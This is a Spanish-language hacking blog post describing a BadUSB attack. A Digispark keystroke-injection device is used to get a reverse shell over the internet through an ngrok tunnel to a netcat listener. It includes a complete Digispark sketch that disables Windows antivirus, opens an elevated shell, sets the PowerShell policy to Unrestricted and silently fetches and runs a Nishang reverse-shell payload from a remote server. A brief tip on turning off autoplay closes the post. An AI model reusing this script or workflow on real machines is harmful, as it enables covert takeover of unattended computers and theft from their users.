Como obtener una reverse shell a tarvés de internet con la ayuda de un USB.

Jordi Forès Garcia • September 25, 2022

hacking

¿ Como obtener una Reverse Shell a través de internet ?

Personalmente era una duda que siempre me había hecho y no terminaba de entender muy bien que tenía que hacer para lograr eso, cuando empecé en el hacking para ganar acceso a una máquina teníamos que ejecutar una reverse shell y así tomar el control del dispositivo, pero claro era todo en entornos controlados lo que quiere decir que estaba en la misma red local lo que llevó a hacerme la pregunta de como puedo obtener una reverse shell a través de internet.

Una vez nos hacemos la pregunta hemos de tener claro dos cosas, existen las IP privadas y las IP públicas, las privadas son las que se usan en los dispositivos para conectarlos en una red privada, normalmente estamos acostumbrados a ver lo siguiente 192.168.1.10, pero podría ser cualquiera. Las públicas son las que nos ofrecen los ISP como Orange, Vodafone, Movistar… que nos sirven para navegar por internet, nuestro encaminador cuando nosotros hacemos una petición tiene que entender si nuestro paquete tiene que viajar por la red o dentro de nuestra red privada , en caso de que tenga que salir de nuestra red privada configurarà el paquete con nuestra IP pública para que una vez llegue a su destino pueda volver a nuestra red privada . Por lo que si nosotros queremos enviar una reverse shell por internet tendremos que utilizar la IP pública.

Para hacer este ejercicio he utilizado el Digispark que es un pequeño USB que se puede configurar como un Rubber Ducky y así podremos simular lo que podría ser un ataque real. Si os acordáis en el post anterior hablamos de que era muy peligroso no comprobar el hash MD5 de un archivo que nos descargamos de internet, ya que si consiguen alterarlo y nosotros lo instalamos podemos tener problemas de verdad. Pues en este post vamos a hablar de lo peligroso que es tener activado la reproducción automática de USB, esta opción tendría que venir boqueada de serie por Microsoft, ya que por defecto los equipos pueden ejecutar código automáticamente al insertar un USB, y en este post vamos a ver como aprovecharnos de esta falla.

¿ Com hacemos esto ?

En primer lugar hemos de tener claro que vamos a hacer y que necesitamos para cumplir con nuestro ataque, por lo que pasamos a generar lo que sería un esquema de nuestro ataque. Los requisitos son los siguientes:

- Rubber Ducky o Digispark configurado
- Servidor web con el payload listo
- Nuestro portátil listo para obtener la reverse shell

Una vez ya tenemos todo listo vamos a ver el esquema.

Esquema del ataque

Vamos a hablar del esquema, primero hemos de tener en cuenta que esto va a ir a través de internet, por lo que nuestro netcat tiene que estar expuesto a internet para que cuando nuestra víctima se infecte pueda hacer la conexión.

Lo que podríamos hacer es abrir los puertos de nuestro encaminador y así redirigir el tráfico, sería muy buena idea, aunque de esta forma tendremos que configurar nuestro payload para que apunte a nuestra IP pública y eso no nos interesa. Así que recordé un programa que me enseño mi profesor de Ciberseguridad que se usa para que desarrolladores web puedan exponer sus páginas a internet de forma muy simple, esa herramienta es Ngrok. Ngrok nos permite hacer un puente entre su página y nuestro PC, por lo que en el payload vamos a poder configurarlo con la IP que nos dé la herramienta. Tengo que decir que el único inconveniente que le he visto a la herramienta es que cada vez que la ejecutamos obtenemos una IP diferente, por lo que si configuramos nuestro payload y sin querer cerramos él Ngrok tendremos que volver a ejecutar el programa y configurar el payload otra vez, ya que la IP se habrá modificado.

El Ngrok primero tendremos que registrarnos al registrarse nos dan un token que tendremos que utilizar para configurar el programa, una vez configurado al ejecutar el comando:

'''bash ngrok tcp 1337 '''

Yo he configurado mi Mac para que se conecte a los datos de mi móvil y así no están en la misma red y podemos recrear un entorno donde si lo conseguimos podemos decir que hemos comprometido un dispositivo por internet. Cuando terminemos de ejecutar el comando se nos quedara la siguiente pantalla.

Ngrok tcp

Ahora tenemos un puente que comunica el programa Ngrok con nuestro puerto local 1337 que es el que usaremos para hacer la PoC, cualquier comunicación que se inicie por la IP que nos ha salido en el Ngrok se reenviará hacia nosotros al puerto 1337 que es el que tendremos que tener en escucha.

Netcat

Vale, una vez tenemos el netcat y el Ngrok configurados, hemos de configurar el servidor http para que podamos servir nuestro payload y así infectar a nuestra víctima. Para ello yo voy a usar una máquina virtual, pero podéis encontrar muchos servidores web gratuitos por internet con los que hacer esto. Donde yo ponga la IP local de mí máquina virtual, teneis que poner el dominio de vuestro servidor web, dicho esto vamos a ver como lo configuraremos.

El archivo payload.ps1 es el siguiente Nishang hemos de hacer unas modificaciones para que al llamarlo se cargue en memoria.

Aquí es donde hemos de poner la IP de Ngrok para que nos comunique con nuestro PC de atacante y así conseguir la reverse shell.

Payload configuration

Para el servidor web voy a utilizar python3 http.server para crearme un servidor http y así poder acceder al archivo payload.ps1 que tengo alojado en el servidor web.

Web server configuration

Ahora tenemos el servidor web y la máquina de atacante listas para pasar al siguiente paso que es configurar el Digispark para que teclee las teclas necesarias para hacer lo que hemos comentado en el esquema.

Por lo que tendremos que tener en cuenta que el USB va a tardar unos segundos en ejecutar todo lo que tendremos que esperar a que nuestra víctima se levante del portátil para tener unos minutos y así inyectar el USB.

Aunque parece que es muy simple, no lo es tanto, ya que hemos de tener algunos factores en mente, como vamos a desactivar el antivirus de forma gráfica hemos de saber con qué ventanas nos vamos a encontrar y eso depende de la versión del sistema operativo. Para nuestro ejemplo utilizaré mi ordenador, así que a base de prueba y error he podido perfeccionar el código del Digispark para que salga perfecto, a lo que me refiero es que tendremos que hacer un trabajo muy bueno en reconocimiento para saber la versión del Windows y así poder replicarlo en una máquina virtual. Otra cosa muy interesante, en el código veréis que se repite mucho la función delay y no es nada menos que hacer una pausa, me ha pasado que muchas veces el PC que vamos a hackear va demasiado lento, que nuestro USB pierde el hilo de lo que está haciendo y es un caos, yo en mi caso le he puesto un segundo entre instrucción por lo que se ve un poco lento, pero es para que no se colapse.

Para nuestro ejemplo vamos a utilizar la versión Windows 10 Professional que creo que sería la más utilizada y la que funcionara más veces sin saber exactamente que Windows tiene nuestra víctima. El código que vamos a usar para hacer las tareas que hemos especificado anteriormente es el siguiente, lo que estamos programando es simplemente lo que tiene que teclear una persona para comprometer un dispositivo, vamos paso por paso como si lo hiciésemos nosotros, pero con la ventaja de que el USB puede escribir a la velocidad de la luz.

//This DigiSpark scripts downloads and executes a powershell script in hidden mode.
#define kbd_es_es
#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(1000); // Esperamos un segundo 
  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); // Tecla Windows para abrir la busqueda 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("Antivirus"); // Buscamos la palabra antivirus
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("\t"); // Tabulamos 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("\t"); // Tabulamos 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("\t"); // Tabulamos 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("\t"); // Tabulamos 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_SPACE); // Hacemos un ESPACIO
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); // Pusamos la flexa izquierda
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("\t"); // Tabulamos 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_SPACE); // Hacemos un ESPACIO
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("\t"); // Tabulamos 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_SPACE); // Hacemos un ESPACIO
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Abrimos el ejecutar de Windows 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("powershell Start-Process cmd -Verb runAs"); // Ejecutamos una cmd con privilegios 
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); // Pusamos la flexa izquierda
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"); // Configuramos la politica de ejecución a Unrestricted 
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.print("powershell -WindowStyle hidden -Command \"IEX (New-Object Net.WebClient).DownloadString('http://dominio.com/payload.ps1')\" "); // Llamamos a nuestro payload alojado en el servidor web
  DigiKeyboard.delay(1000); // Esperamos un segundo
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Hacemos ENTER
  DigiKeyboard.delay(1000); // Esperamos un segundo
  for (;;) {
    /*empty*/
  }

}

Vale una vez ya tenemos todo configurado, pasamos a la acción que consiste en introducir el Digispark en el PC de la víctima, aquí traigo un fragmento del PoC que tengo publicado en mí instagram xThalach donde se puede ver como al insertar el USB empieza hacer todo lo necesario para poder llevar a cabo el hackeo. Tengo que decir que el código que os he mostrado anteriormente soluciona el error donde la terminal se quedaba suspendida al finalizar del hackeo, ahora se ejecuta en segundo plano y el usuario no detecta nada.

Proof of concept

Post Instagram

Cuando el USB terminó con su cometido podremos ver que en el netcat que tenemos a la escucha obtendremos la shell. Con esto ya tenemos acceso completo al PC, aquí ya comenzaría la parte de persistencia para que si nos cierran la shell podamos volver a entrar.

Reverse Shell

Podemos ver como hacemos un "whoami" y un "ifconfig" para comprobar que no estamos en el Mac y hemos comprometido correctamente la máquina .

Reverse Shell

¿Cómo puedo protegerme de esto?

En este caso en concreto lo más sensato es desactivar la reproducción automática de dispositivos en el panel de control, ahora os voy a mostrar como lo tengo configurado para que el hackeo sea efectivo. Como podemos ver está seleccionado el cuadrado "Usar la reproducción automática para todos los medios y dispositivos" esto es lo que hemos de desactivar para que cuando se inserte un USB no se ejecute nada.

Configuración por defecto

Espero que os haya gustado el post, ya que trata un tema muy delicado que es la ejecución automática de USB. No entiendo porque esto sigue deshabilitado por defecto cuando es una vía muy potencial de hackeos, esto se usa mucho en tiendas, hospitales, centros comerciales donde los PC se quedan desatendidos en cierto momento y pueden ser víctimas de estos ataques.

En este caso he desactivado el antivirus de forma gráfica aunque se pueda hacer de forma silenciosa con PowerShell queda más bonito ver como el PC funciona solo :)

En mi Instagram tenéis un video donde podéis ver como ejecuto en mi PC el Digispark para autohackearme en un entorno controlado.

"Effort overcomes talent"